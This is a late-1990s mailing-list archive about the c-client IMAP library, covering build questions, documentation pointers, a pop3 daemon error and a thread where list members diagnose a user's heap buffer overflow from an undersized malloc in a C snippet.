switchmail; Thu, 11 Dec 1997 14:43:41 -0500 (EST) Received: from pcs34.andrew.cmu.edu via qmail ID ; Thu, 11 Dec 1997 14:42:50 -0500 (EST) Received: from pcs34.andrew.cmu.edu via qmail ID ; Thu, 11 Dec 1997 14:42:50 -0500 (EST) Received: from mms.4.60.Jun.27.1996.03.02.53.sun4.51.EzMail.PC.3.2.CUILIB.3.45.SNAP.NOT.LINKED.pcs34.andrew.cmu.edu.sun4m.54 via MS.5.6.pcs34.andrew.cmu.edu.sun4_51; Thu, 11 Dec 1997 14:42:49 -0500 (EST) Message-Id: Date: Thu, 11 Dec 1997 14:42:49 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Thomas Wagner To: c-client@CAC.Washington.EDU Subject: Fwd: has anyone compiled c-client using gnu-win32? References: X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Has anyone compiled c-client for Windows 95 using the gnu-win32 package (beta 18)? I don't think it be too hard but before I set off spending time doing it, I thought I'd check. I haven't spent much time with the gnu-win32 development stuff yet, so I'm not sure what might be missing that c-client might need. -Tom -- honus+@cmu.edu, Principal Software Engineer, the NetBill project Information Networking Institute, Carnegie Mellon University Moon claims Cody poses a threat to her family. ``I don't think we're overreacting,'' said Moon. ''Cody had a record of hitting other children.'' -- honus+@cmu.edu, Principal Software Engineer, the NetBill project Information Networking Institute, Carnegie Mellon University Moon claims Cody poses a threat to her family. ``I don't think we're overreacting,'' said Moon. ''Cody had a record of hitting other children.'' From pinedev@shivax2.cac.washington.edu Sun Jan 4 09:56:15 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Sun, 4 Jan 1998 09:56:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA05276 for ; Sun, 4 Jan 1998 09:56:14 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA04363; Sun, 4 Jan 1998 09:56:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id JAA22473; Sun, 4 Jan 1998 09:55:04 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id JAA22034 for ; Sun, 4 Jan 1998 09:52:17 -0800 Received: from danbo.digsys.bg (root@danbo.digsys.bg [192.92.129.1]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA15645 for ; Sun, 4 Jan 1998 09:52:15 -0800 Received: from comm.uni-svishtov.bg (comm.uni-svishtov.bg [193.68.172.1]) by danbo.digsys.bg (8.8.5/8.8.5) with ESMTP id TAA05714 for ; Sun, 4 Jan 1998 19:52:03 +0200 (EET) Received: (from nobody@localhost) by comm.uni-svishtov.bg (8.8.5/8.8.5) id TAA19464 for ; Sun, 4 Jan 1998 19:50:44 +0200 (EET) Received: from aix.uni-svishtov.bg(193.68.172.5) by comm.uni-svishtov.bg via smap (V2.0) id xma019448; Sun, 4 Jan 98 19:50:29 +0200 Message-Id: Date: Sun, 4 Jan 1998 19:46:21 +0200 (WET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Stanislav Grozev To: c-client@u.washington.edu Subject: c-client MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: comm.uni-svishtov.bg: nobody set sender to using -f X-Sender: tacho@aix.uni-svishtov.bg X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN where I can find info and documentation about how to use c-client in my mail client program? 10x in advance... tacho _- Stanislav Grozev -- http://www.bitsmart.com/tacho/ -_ Member of BGUUG and ISOC. My opinions are entirely mine. Micro$oft asks you "Where do you want to go?". *BSD gets you there today... From pinedev@shivax2.cac.washington.edu Sun Jan 4 10:21:54 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Sun, 4 Jan 1998 10:21:54 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA05538 for ; Sun, 4 Jan 1998 10:21:53 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA15216; Sun, 4 Jan 1998 10:21:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA02788; Sun, 4 Jan 1998 10:21:17 -0800 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA26780 for ; Sun, 4 Jan 1998 10:20:20 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (ajohnson@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA21618 for ; Sun, 4 Jan 1998 10:20:19 -0800 Message-Id: Date: Sun, 4 Jan 1998 10:15:23 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Stanislav Grozev Cc: c-client@u.washington.edu Subject: re: c-client In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The file Internal.DOC contains some information; unfortunately, it describes an earlier version of c-client and it out of date/inaccurate in several areas. Nonetheless, it is useful to read it to acquire the fundamentals. It is also good to look at existing c-client programs; mtest, imapd, and the imap-utils. And, of course, read the c-client source code. If you ask me a question, try to make the question as specific as possible, e.g. "what is the purpose of the third argument of mail_blurdybloop()?" as opposed to "how do I write a program to blurdybloop?". From pinedev@shivax2.cac.washington.edu Tue Jan 6 07:52:43 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 6 Jan 1998 07:52:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id HAA11164 for ; Tue, 6 Jan 1998 07:52:42 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id HAA05030; Tue, 6 Jan 1998 07:52:37 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id HAA18210; Tue, 6 Jan 1998 07:51:35 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id HAA28602 for ; Tue, 6 Jan 1998 07:48:23 -0800 Received: from cobalt.cary.mci.net (cobalt.cary.mci.net [159.24.13.19]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id HAA17704 for ; Tue, 6 Jan 1998 07:48:22 -0800 Received: by cobalt.cary.mci.net (SMI-8.6/kaw-mci.net/feb95) id PAA06776; Tue, 6 Jan 1998 15:48:20 GMT Message-Id: Date: Tue, 06 Jan 1998 10:48:19 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Nathan Bates To: c-client@u.washington.edu Subject: Problematic code bit.. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: nbates@cobalt.cary.mci.net X-Priority: 3 (Normal) X-Sender: iMCI Hostmaster (iNOC) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm having troubles with the following code bit: /* ** Begin code bit.. */ ENVELOPE *header = NIL; BODY *body = NIL; int mesgs = 0, mesgno = 0; mesgs = mstream->nmsgs; while (mesgs > mesgno) { char *cHeader = (char *) malloc(sizeof cHeader); if (cHeader) return NIL; printf("--> Message %d\n", mesgno); header = mail_fetchstructure(mstream,mesgno,&body); /* ** Next line causes mail_fetchstructure to fail on ** next incantation. */ rfc822_header(cHeader, header, body); puts(cHeader); puts("------------------------------------------------\n"); free(cHeader); mesgno++; } return T; /* ** End code bit. */ I feel as though body is getting clobbered, but I don't seem to track it down. I'm using imap-4.1-BETA.tar.gz provided c-client. Any assistance is greatly appreciated. If there is any other information that I need to provide, please ask. Regards, Nathan Bates Nathan Brock Bates internetMCI iNOC ------------------------------------------------------------------------- The opinions expressed herein do not express those of internetMCI or MCI. From pinedev@shivax2.cac.washington.edu Tue Jan 6 08:05:23 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 6 Jan 1998 08:05:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA11395 for ; Tue, 6 Jan 1998 08:05:22 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA25278; Tue, 6 Jan 1998 08:05:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id IAA24661; Tue, 6 Jan 1998 08:04:05 -0800 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id IAA14598 for ; Tue, 6 Jan 1998 08:02:54 -0800 Received: from phyw164.phy.hw.ac.uk (phyw164.phy.hw.ac.uk [137.195.29.164]) by mx4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA27221 for ; Tue, 6 Jan 1998 08:02:45 -0800 Received: (from karsten@localhost) by phyw164.phy.hw.ac.uk (8.8.5/8.8.5) id QAA19547; Tue, 6 Jan 1998 16:02:20 GMT Message-Id: <199801061602.QAA19547@phyw164.phy.hw.ac.uk> Date: Tue, 6 Jan 1998 16:02:20 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: Nathan Bates Cc: c-client@u.washington.edu Subject: Problematic code bit.. In-Reply-To: References: Mime-Version: 1.0 (generated by tm-edit 1.1) Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Url: http://Ballueder.home.ml.org/ X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGg > I'm having troubles with the following code bit: > > char *cHeader =3D (char *) malloc(sizeof cHeader); > if (cHeader) return NIL; cHeader is a char pointer, so sizeof cHeader should be 1. Then malloc will allocate just one byte. Also, if malloc was successfull, you leave the function. This doesn't seem to make any sense. (Am I missing something, or is there a typo?) -- Karsten Ball=FCder http://Ballueder.home.ml.org/ mailto:Ballueder@usa.net Physics Department, Heriot-Watt University, Edinburgh,EH14 4AS,Scotland "In a world without fences, who needs Gates?"= From pinedev@shivax2.cac.washington.edu Tue Jan 6 08:50:37 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 6 Jan 1998 08:50:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA12267 for ; Tue, 6 Jan 1998 08:50:35 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA06471; Tue, 6 Jan 1998 08:50:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id IAA27166; Tue, 6 Jan 1998 08:49:32 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id IAA27746 for ; Tue, 6 Jan 1998 08:47:36 -0800 Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA19453 for ; Tue, 6 Jan 1998 08:47:35 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (carl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id IAA04411; Tue, 6 Jan 1998 08:47:30 -0800 Message-Id: Date: Tue, 6 Jan 1998 08:39:54 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Nathan Bates Cc: c-client@u.washington.edu Subject: re: Problematic code bit.. In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 06 Jan 1998 10:48:19 -0500 (EST), Nathan Bates wrote: > char *cHeader = (char *) malloc(sizeof cHeader); This is quite bogus. As written, the code seems to be intended to print out an RFC822 representation of the results of an RFC822/MIME parse. If you just wanted to print out an RFC822 header, mail_fetch_header() (possibly with some line filters) may be a better choice. If you really do want to parse then deparse, then you must allocate sufficient space for "cHeader". Either you run down the ENVELOPE and BODY structures to calculate the needed sizes (duplicating what rfc822_header() does), or you have to make cHeader arbitrarily large and hope that it's large enough. > if (cHeader) return NIL; This returns from the function if the malloc() succeeded (presumably you wanted !cHeader instead of cHeader here). From pinedev@shivax2.cac.washington.edu Tue Jan 6 08:53:01 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 6 Jan 1998 08:53:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA12359 for ; Tue, 6 Jan 1998 08:53:00 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id IAA26533; Tue, 6 Jan 1998 08:52:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id IAA05256; Tue, 6 Jan 1998 08:51:01 -0800 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id IAA30236 for ; Tue, 6 Jan 1998 08:48:08 -0800 Received: from cobalt.cary.mci.net (cobalt.cary.mci.net [159.24.13.19]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id IAA05774 for ; Tue, 6 Jan 1998 08:48:06 -0800 Received: by cobalt.cary.mci.net (SMI-8.6/kaw-mci.net/feb95) id QAA07113; Tue, 6 Jan 1998 16:46:27 GMT Message-Id: Date: Tue, 06 Jan 1998 11:46:27 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Nathan Bates To: Karsten Ballueder Cc: c-client@u.washington.edu Subject: RE: Problematic code bit.. In-Reply-To: <199801061602.QAA19547@phyw164.phy.hw.ac.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: nbates@cobalt.cary.mci.net X-Priority: 3 (Normal) X-Sender: iMCI Hostmaster (iNOC) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Oops.. that was a type when I was typing it in to make sense.. :) char *cHeader = (char *) malloc(sizeof (char *)); if (!cHeader) return NIL; The second incantation of mail_fetchstructure() still fails. Regards, Nathan Bates On 06-Jan-98 Karsten Ballueder wrote: > Nathan Bates writes: > > > > I'm having troubles with the following code bit: > > > > char *cHeader = (char *) malloc(sizeof cHeader); > > if (cHeader) return NIL; > > cHeader is a char pointer, so sizeof cHeader should be 1. Then malloc > will allocate just one byte. > Also, if malloc was successfull, you leave the function. > > This doesn't seem to make any sense. > (Am I missing something, or is there a typo?) > -- > Karsten Ball|der http://Ballueder.home.ml.org/ mailto:Ballueder@usa.net > Physics Department, Heriot-Watt University, Edinburgh,EH14 4AS,Scotland > "In a world without fences, who needs Gates?" From pinedev@shivax2.cac.washington.edu Tue Jan 6 09:03:42 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 6 Jan 1998 09:03:42 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA12869 for ; Tue, 6 Jan 1998 09:03:41 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA06895; Tue, 6 Jan 1998 09:03:36 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id JAA28823; Tue, 6 Jan 1998 09:00:35 -0800 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id IAA37766 for ; Tue, 6 Jan 1998 08:58:27 -0800 Received: from cobalt.cary.mci.net (cobalt.cary.mci.net [159.24.13.19]) by mx4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id IAA01774 for ; Tue, 6 Jan 1998 08:58:22 -0800 Received: by cobalt.cary.mci.net (SMI-8.6/kaw-mci.net/feb95) id QAA07193; Tue, 6 Jan 1998 16:57:27 GMT Message-Id: Date: Tue, 06 Jan 1998 11:57:27 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Nathan Bates To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: Problematic code bit.. In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: nbates@cobalt.cary.mci.net X-Priority: 3 (Normal) X-Sender: iMCI Hostmaster (iNOC) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Mark, Well, like I said, it is just a code snippet. My purpose is a bit different than that. Either way, I was just reproducing the error. My intention was to create a dynmically allocated memory area. char *cHeader = (char *) malloc(sizeof(char *)); As for the second, you are correct in saying that I wanted !cHeader. I should have just cut the code I had rather than reduping by keystrokes it and trying to make it look sensible.. Thank you, Nathan On 06-Jan-98 Mark Crispin wrote: > On Tue, 06 Jan 1998 10:48:19 -0500 (EST), Nathan Bates wrote: >> char *cHeader = (char *) malloc(sizeof cHeader); > > This is quite bogus. As written, the code seems to be intended to print out > an RFC822 representation of the results of an RFC822/MIME parse. If you just > wanted to print out an RFC822 header, mail_fetch_header() (possibly with some > line filters) may be a better choice. > > If you really do want to parse then deparse, then you must allocate > sufficient > space for "cHeader". Either you run down the ENVELOPE and BODY structures to > calculate the needed sizes (duplicating what rfc822_header() does), or you > have to make cHeader arbitrarily large and hope that it's large enough. > >> if (cHeader) return NIL; > > This returns from the function if the malloc() succeeded (presumably you > wanted !cHeader instead of cHeader here). > From pinedev@shivax2.cac.washington.edu Tue Jan 6 09:35:48 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 6 Jan 1998 09:35:48 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA13559 for ; Tue, 6 Jan 1998 09:35:47 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA07851; Tue, 6 Jan 1998 09:35:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id JAA09435; Tue, 6 Jan 1998 09:34:10 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id JAA16914 for ; Tue, 6 Jan 1998 09:33:06 -0800 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA26441 for ; Tue, 6 Jan 1998 09:33:05 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (gnof@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with SMTP id JAA24394; Tue, 6 Jan 1998 09:33:00 -0800 Message-Id: Date: Tue, 6 Jan 1998 09:25:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Nathan Bates Cc: c-client@u.washington.edu Subject: re: Problematic code bit.. In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 06 Jan 1998 11:57:27 -0500 (EST), Nathan Bates wrote: > My intention was to create a dynmically allocated memory area. > > char *cHeader = (char *) malloc(sizeof(char *)); sizeof(char *) is 4 bytes on most systems. In other words, that statement allocates a buffer of 4 bytes, and a pointer to it is assigned to routine cHeader. That is sufficient space to store a 3 character null-terminated string. Since rfc822_header() typically writes about 1000 bytes (sometimes less, often more), it will overflow the buffer, and then write into other areas of the malloc() arena. This is a C programming issue, not a c-client issue. If you do not understand this, I recommend that you get ahold of a good introductory text that explains C programming. From pinedev@shivax2.cac.washington.edu Tue Jan 6 14:09:39 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 6 Jan 1998 14:09:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA19891 for ; Tue, 6 Jan 1998 14:09:38 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA14969; Tue, 6 Jan 1998 14:09:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id OAA23844; Tue, 6 Jan 1998 14:06:57 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id NAA31878 for ; Tue, 6 Jan 1998 13:28:59 -0800 Received: from cobalt.cary.mci.net (cobalt.cary.mci.net [159.24.13.19]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id NAA15567 for ; Tue, 6 Jan 1998 13:28:58 -0800 Received: by cobalt.cary.mci.net (SMI-8.6/kaw-mci.net/feb95) id VAA10840; Tue, 6 Jan 1998 21:28:16 GMT Message-Id: Date: Tue, 06 Jan 1998 16:28:16 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Nathan Bates To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: Problematic code bit.. In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 X-Sender: nbates@cobalt.cary.mci.net X-Priority: 3 (Normal) X-Sender: iMCI Hostmaster (iNOC) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I understand. I see my flaw. Thank you, Nathan On 06-Jan-98 Mark Crispin wrote: > On Tue, 06 Jan 1998 11:57:27 -0500 (EST), Nathan Bates wrote: >> My intention was to create a dynmically allocated memory area. >> >> char *cHeader = (char *) malloc(sizeof(char *)); > > sizeof(char *) is 4 bytes on most systems. > > In other words, that statement allocates a buffer of 4 bytes, and a pointer > to > it is assigned to routine cHeader. That is sufficient space to store a 3 > character null-terminated string. > > Since rfc822_header() typically writes about 1000 bytes (sometimes less, > often > more), it will overflow the buffer, and then write into other areas of the > malloc() arena. > > This is a C programming issue, not a c-client issue. If you do not > understand > this, I recommend that you get ahold of a good introductory text that > explains > C programming. > From pinedev@shivax2.cac.washington.edu Mon Jan 26 09:27:20 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 26 Jan 1998 09:27:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA10241 for ; Mon, 26 Jan 1998 09:27:19 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA27865; Mon, 26 Jan 1998 09:27:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id JAA24287; Mon, 26 Jan 1998 09:24:06 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id JAA47084 for ; Mon, 26 Jan 1998 09:23:16 -0800 Received: from longs.engr.colostate.edu (root@longs.engr.colostate.edu [129.82.224.16]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA14764 for ; Mon, 26 Jan 1998 09:23:15 -0800 Received: from engr.colostate.edu (wrigley_field.lance.colostate.edu [129.82.224.95]) by longs.engr.colostate.edu (8.8.5/8.6.5a (LANCE Revision: 1.3)) with ESMTP id KAA14293 for ; Mon, 26 Jan 1998 10:23:12 -0700 Message-Id: <34CCC672.1045106C@engr.colostate.edu> Date: Mon, 26 Jan 1998 10:22:58 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "C. J. Keist" To: c-client@u.washington.edu Subject: Imap/pop3 help MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm running the pop3 deamon that came with the IMAP4rel1 on a linux 2.0.29 mail server. I am having problems with inetd terminating services to pop3. This is the error I get in the syslog: "longs inetd[52]: pop3/tcp server failing (looping), service terminated". Does anyone have any ideas as to what might be causeing this? Most users here are using either Netscape Communicator or Pegusas for reading their email. -- C. J. Keist Email: cjay@engr.colostate.edu UNIX/Network Manager Phone: 970-491-0630 Engineering Network Services Fax: 970-491-2465 College of Engineering, CSU Ft. Collins, CO 80523-1301 From pinedev@shivax2.cac.washington.edu Sun Feb 22 11:17:16 1998 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Sun, 22 Feb 1998 11:17:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA11196 for ; Sun, 22 Feb 1998 11:17:15 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id LAA02216; Sun, 22 Feb 1998 11:17:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id LAA24717; Sun, 22 Feb 1998 11:14:19 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id LAA54838 for ; Sun, 22 Feb 1998 11:13:26 -0800 Received: from dalphi.ml.org (dalphi@[198.59.151.220]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA09393 for ; Sun, 22 Feb 1998 11:13:18 -0800 Received: from localhost (dalphi@localhost) by dalphi.ml.org (8.8.7/8.8.7) with SMTP id MAA02153 for ; Sun, 22 Feb 1998 12:19:47 -0700 Message-Id: Date: Sun, 22 Feb 1998 12:19:46 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Donald Thompson To: c-client@u.washington.edu Subject: IMAP4 Compile Probs MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm trying to compile imap-4.1.BETA on a slackware linux kernel 2.0.33 system with shadow passwords. 